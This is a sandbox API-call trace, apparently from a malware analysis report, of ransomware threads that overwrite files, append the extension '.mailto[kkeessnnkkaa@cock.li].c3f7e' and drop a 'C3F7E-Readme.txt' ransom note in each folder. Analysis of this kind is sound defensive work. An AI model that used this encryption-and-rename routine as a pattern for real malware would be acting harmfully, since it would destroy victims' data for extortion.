	[0078.661] wcscat (in: _Dest=0x4986710, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.661] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xa90fdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.661] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476a4a8
	[0078.661] NtSetInformationFile (FileHandle=0x9cc, IoStatusBlock=0xa90fde8, FileInformation=0x476a4a8, Length=0xb6, FileInformationClass=0xa) returned 0x0
	[0078.742] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a4a8) returned 1
	[0078.742] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d2a8) returned 1
	[0078.742] NtQueryInformationFile (in: FileHandle=0x9cc, IoStatusBlock=0xa90fdfc, FileInformation=0xa90fdd4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xa90fdfc, FileInformation=0xa90fdd4) returned 0x0
	[0078.742] NtSetInformationFile (FileHandle=0x9cc, IoStatusBlock=0xa90fdfc, FileInformation=0xa90fdd4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.746] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986710) returned 1
	[0078.746] FlushFileBuffers (hFile=0x9cc) returned 1
	[0080.087] CloseHandle (hObject=0x9cc) returned 1
	[0080.189] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4780980
	[0080.189] wcscpy (in: _Dest=0x4780980, _Source="C:\\588bce7c90097ed212\\2052\\" | out: _Dest="C:\\588bce7c90097ed212\\2052\\") returned="C:\\588bce7c90097ed212\\2052\\"
	[0080.189] wcscat (in: _Dest=0x4780980, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\2052\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\2052\\C3F7E-Readme.txt"
	[0080.189] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\2052\\c3f7e-readme.txt")) returned 0x20
	[0080.261] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780980) returned 1
	[0080.261] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733660) returned 1

Thread:
	id = 214
	os_tid = 0xeac

	[0076.234] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80
	[0076.241] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf", dwFileAttributes=0x20) returned 1
	[0076.241] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9d0
	[0076.241] GetFileSizeEx (in: hFile=0x9d0, lpFileSize=0xa98f81c | out: lpFileSize=0xa98f81c*=4015) returned 1
	[0076.241] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0xfab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.241] ReadFile (in: hFile=0x9d0, lpBuffer=0xa98f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa98f79c, lpOverlapped=0x0 | out: lpBuffer=0xa98f7a0*, lpNumberOfBytesRead=0xa98f79c*=0x4, lpOverlapped=0x0) returned 1
	[0076.242] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.243] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724db0
	[0076.243] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724dd8
	[0076.243] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724e00
	[0076.243] NtQuerySystemTime (in: CurrentTime=0xa98f77c | out: CurrentTime=0xa98f77c*=132251868029816906) returned 0x0
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0xf2afabdc
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0x6cb855c5
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0x974c5b3f
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0x7f9310a
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0x2a614557
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0xc351826a
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0xc1cc3722
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0x5fa52ed7
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0x81cc1c38
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0x2efbc7f
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0x2c7a8442
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0x16c5135f
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0x61815068
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0x2f9c4654
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0x3a20b4c3
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0x8e27c1b8
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0xf8de847
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0x5724daa7
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0xc5a2d2bd
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0x6eb9de2d
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0x7e97fb89
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0x3fd9bed7
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0x6dfded14
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0xf4c0e8a
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0x56383f56
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0xabf6db61
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0xf8b0bebb
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0x8d9cce9e
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0x2c59ac26
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0x80dac67c
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0xe6802d19
	[0076.243] RtlRandom (in: Seed=0xa98f788 | out: Seed=0xa98f788) returned 0xf804cfd3
	[0076.254] ReadFile (in: hFile=0x9d0, lpBuffer=0x4ecb8c0, nNumberOfBytesToRead=0xfaf, lpNumberOfBytesRead=0xa98f778, lpOverlapped=0x0 | out: lpBuffer=0x4ecb8c0*, lpNumberOfBytesRead=0xa98f778*=0xfaf, lpOverlapped=0x0) returned 1
	[0076.254] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.254] WriteFile (in: hFile=0x9d0, lpBuffer=0x4ed80c8*, nNumberOfBytesToWrite=0xfaf, lpNumberOfBytesWritten=0xa98f774, lpOverlapped=0x0 | out: lpBuffer=0x4ed80c8*, lpNumberOfBytesWritten=0xa98f774*=0xfaf, lpOverlapped=0x0) returned 1
	[0076.255] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724db0
	[0076.255] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724e00
	[0076.255] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724e00) returned 1
	[0076.255] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ed80c8) returned 1
	[0076.255] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ecb8c0) returned 1
	[0076.255] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04e28) returned 1
	[0076.255] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73a50) returned 1
	[0076.255] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x4724e00
	[0076.255] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.255] WriteFile (in: hFile=0x9d0, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0xa98f7dc, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0xa98f7dc*=0x101, lpOverlapped=0x0) returned 1
	[0076.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0076.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724e50) returned 1
	[0076.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47249f0) returned 1
	[0076.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724e00) returned 1
	[0076.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724db0) returned 1
	[0076.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724dd8) returned 1
	[0076.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724e28) returned 1
	[0076.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724f18) returned 1
	[0076.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78848
	[0076.258] wcscpy (in: _Dest=0x2d78848, _Source="C:\\588bce7c90097ed212\\2070\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned="C:\\588bce7c90097ed212\\2070\\eula.rtf"
	[0076.258] wcscat (in: _Dest=0x2d78848, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\2070\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\2070\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0076.258] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\2070\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xa98f794, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\2070\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0076.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61b00
	[0076.260] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61b00) returned 1
	[0076.260] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2b258) returned 1
	[0076.260] NtQueryInformationFile (in: FileHandle=0x9d0, IoStatusBlock=0xa98f7a0, FileInformation=0xa98f778, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xa98f7a0, FileInformation=0xa98f778) returned 0x0
	[0076.260] NtSetInformationFile (FileHandle=0x9d0, IoStatusBlock=0xa98f7a0, FileInformation=0xa98f778, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0076.261] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78848) returned 1
	[0076.262] FlushFileBuffers (hFile=0x9d0) returned 1
	[0076.263] CloseHandle (hObject=0x9d0) returned 1
	[0076.263] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47339a0
	[0076.263] wcscpy (in: _Dest=0x47339a0, _Source="C:\\588bce7c90097ed212\\2070\\" | out: _Dest="C:\\588bce7c90097ed212\\2070\\") returned="C:\\588bce7c90097ed212\\2070\\"
	[0076.263] wcscat (in: _Dest=0x47339a0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\2070\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\2070\\C3F7E-Readme.txt"
	[0076.263] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\2070\\c3f7e-readme.txt")) returned 0xffffffff
	[0076.263] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\2070\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9d0
	[0076.263] WriteFile (in: hFile=0x9d0, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0xa98f79c, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0xa98f79c*=0x6f6, lpOverlapped=0x0) returned 1
	[0076.264] CloseHandle (hObject=0x9d0) returned 1
	[0076.264] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0076.264] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730a60) returned 1

Thread:
	id = 215
	os_tid = 0x8d8

	[0076.242] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80
	[0076.255] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", dwFileAttributes=0x20) returned 1
	[0076.257] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9d4
	[0076.257] GetFileSizeEx (in: hFile=0x9d4, lpFileSize=0xaa0fed8 | out: lpFileSize=0xaa0fed8*=80254) returned 1
	[0076.257] SetFilePointerEx (in: hFile=0x9d4, liDistanceToMove=0x1397a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.257] ReadFile (in: hFile=0x9d4, lpBuffer=0xaa0fe5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xaa0fe58, lpOverlapped=0x0 | out: lpBuffer=0xaa0fe5c*, lpNumberOfBytesRead=0xaa0fe58*=0x4, lpOverlapped=0x0) returned 1
	[0076.266] SetFilePointerEx (in: hFile=0x9d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.266] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724db0
	[0076.266] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724dd8
	[0076.266] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724e00
	[0076.266] NtQuerySystemTime (in: CurrentTime=0xaa0fe38 | out: CurrentTime=0xaa0fe38*=132251868029971908) returned 0x0
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0x834f9c94
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0x1114d797
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0xfbada775
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0x78de4246
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0x7e9821f3
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0x84627acb
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0x764215f4
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0xbb2993da
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0x8341c292
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0x76f724eb
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0xbb069b94
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0x42d2fd0e
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0xdd7a1d4a
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0x59f7614
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0xeae75f77
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0xef25d0e4
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0xb33f05c0
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0xa2f5cc9
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0x29996297
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0xee5bd5b9
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0x94a46f49
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0xa8066135
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0x9a1a9f88
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0x3ec46458
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0xfd3519ac
	[0076.266] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0x23d56ec6
	[0076.267] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0x613c08dc
	[0076.267] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0x31d184f8
	[0076.267] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0xcdec91c4
	[0076.267] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0xa51a616d
	[0076.267] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0x592fcc38
	[0076.267] RtlRandom (in: Seed=0xaa0fe44 | out: Seed=0xaa0fe44) returned 0x965fb800
	[0076.280] SetFilePointerEx (in: hFile=0x9d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.280] ReadFile (in: hFile=0x9d4, lpBuffer=0x4ecb8c0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xaa0fe18, lpOverlapped=0x0 | out: lpBuffer=0x4ecb8c0*, lpNumberOfBytesRead=0xaa0fe18*=0xc800, lpOverlapped=0x0) returned 1
	[0076.281] SetFilePointerEx (in: hFile=0x9d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.281] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73a50
	[0076.281] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04e28
	[0076.281] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724db0
	[0076.281] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724db0) returned 1
	[0076.282] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4ed80c8
	[0076.283] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724db0
	[0076.283] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724e00
	[0076.283] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724e00) returned 1
	[0076.283] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04e28) returned 1
	[0076.283] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73a50) returned 1
	[0076.283] WriteFile (in: hFile=0x9d4, lpBuffer=0x4ed80c8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xaa0fe18, lpOverlapped=0x0 | out: lpBuffer=0x4ed80c8*, lpNumberOfBytesWritten=0xaa0fe18*=0xc800, lpOverlapped=0x0) returned 1
	[0078.532] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ed80c8) returned 1
	[0078.537] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ecb8c0) returned 1
	[0078.539] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x4735080
	[0078.539] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad60
	[0078.539] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753728
	[0078.539] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34488
	[0078.539] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34488) returned 1
	[0078.539] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x4734ec0
	[0078.539] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34488
	[0078.539] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33fd8
	[0078.539] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33fd8) returned 1
	[0078.539] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753728) returned 1
	[0078.539] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0078.539] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x113) returned 0x4771990
	[0078.539] SetFilePointerEx (in: hFile=0x9d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.539] WriteFile (in: hFile=0x9d4, lpBuffer=0x4771990*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0xaa0fe98, lpOverlapped=0x0 | out: lpBuffer=0x4771990*, lpNumberOfBytesWritten=0xaa0fe98*=0x113, lpOverlapped=0x0) returned 1
	[0078.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771990) returned 1
	[0078.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734ec0) returned 1
	[0078.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34488) returned 1
	[0078.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4735080) returned 1
	[0078.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724db0) returned 1
	[0078.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724dd8) returned 1
	[0078.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724e28) returned 1
	[0078.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724f18) returned 1
	[0078.688] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4986e48
	[0078.688] wcscpy (in: _Dest=0x4986e48, _Source="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml"
	[0078.688] wcscat (in: _Dest=0x4986e48, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.688] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xaa0fe50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.688] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476ace8
	[0078.688] NtSetInformationFile (FileHandle=0x9d4, IoStatusBlock=0xaa0fe48, FileInformation=0x476ace8, Length=0xb6, FileInformationClass=0xa) returned 0x0
	[0078.754] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476ace8) returned 1
	[0078.754] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5de58) returned 1
	[0078.754] NtQueryInformationFile (in: FileHandle=0x9d4, IoStatusBlock=0xaa0fe5c, FileInformation=0xaa0fe34, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xaa0fe5c, FileInformation=0xaa0fe34) returned 0x0
	[0078.754] NtSetInformationFile (FileHandle=0x9d4, IoStatusBlock=0xaa0fe5c, FileInformation=0xaa0fe34, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.755] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986e48) returned 1
	[0078.755] FlushFileBuffers (hFile=0x9d4) returned 1
	[0080.095] CloseHandle (hObject=0x9d4) returned 1
	[0080.203] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4780e60
	[0080.203] wcscpy (in: _Dest=0x4780e60, _Source="C:\\588bce7c90097ed212\\2070\\" | out: _Dest="C:\\588bce7c90097ed212\\2070\\") returned="C:\\588bce7c90097ed212\\2070\\"
	[0080.203] wcscat (in: _Dest=0x4780e60, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\2070\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\2070\\C3F7E-Readme.txt"
	[0080.203] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\2070\\c3f7e-readme.txt")) returned 0x20
	[0080.203] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780e60) returned 1
	[0080.203] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47336c8) returned 1

Thread:
	id = 216
	os_tid = 0xff0

